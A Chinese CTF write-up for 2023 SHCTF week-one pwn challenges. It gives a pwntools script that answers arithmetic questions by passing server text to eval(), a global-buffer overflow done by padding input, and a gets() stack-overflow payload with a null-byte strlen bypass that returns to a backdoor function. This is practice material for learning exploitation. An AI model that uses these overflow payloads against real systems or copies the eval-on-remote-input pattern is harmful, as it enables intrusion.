2023 SHCTF-校外赛道 PWN WP
WEEK1
nc
连接靶机直接梭

hard nc
同样是nc直接连,但是出题人利用linux命令的特性,将部分flag放在了特殊文件中
利用ls -a查看所有文件,查看.gift,可以得到前半段

然后再ls gift2以及cat相关的内容得不到任何数据。。。因此考虑到会不会是进入目录下找,再更换到gift2目录中,查看flag2,可以得到一串base64
cd gift2
ls
flag2
cat flag2
ZTQtYTMyNi1jOThjYzJjZmRkYzh9Cg==

口算题

要答对200题才行,肯定得用脚本。。。。
exp:
from pwn import *
host = ''
post =
GeShi = b'Press Enter to start...' # 改格式!
sh = remote(host,post)
sh.sendline("")
data = sh.recvuntil(GeShi).decode()
for i in range(200):
data1 = sh.recvuntil(b'=').decode()
print(data1)
a = data1.split("\n")[-1].split('=')[0]
print("a:",a)
if "÷" in a:
a = a.replace("÷","/")
if "×" in a:
a = a.replace("×","*")
print(eval(a))
sh.sendline(str(eval(a)).encode())
print(sh.recvline())
print(sh.recvline())
print(sh.recvline())
print(sh.recvall())

showshowway

题目要求y和p相等,寻找一下p和y,发现p = showshowway

而y是一个大小为32的字符数组

往上划发现,传入的值存在s中,地址从06010C0截至到06010FF,长度为64(测试过了一个字符a占地址为1),而y的地址紧接着s,说明我们传入的第65个值会存入y

所以我们只要输入64个a+showshowway,即可让y和p相等。。。。

四则计算器
IDA发现有后面函数backdoor()

查看backdoor()的地址为0x4015E4

利用gets()函数不检查输入函数,所以存在栈溢出漏洞,再利用strlen()会被\x00截断
构造pyload:
from pwn import *
context(os='linux',arch='amd64',log_level= 'debug')
sh = remote("IP",端口号)
backdoor = 0x4015E4
pad = 0x32 + 8
payload = b'\x00' + b'A'*(pad-1) + p64(backdoor)
sh.sendline(payload)
sh.interactive()


浙公网安备 33010602011771号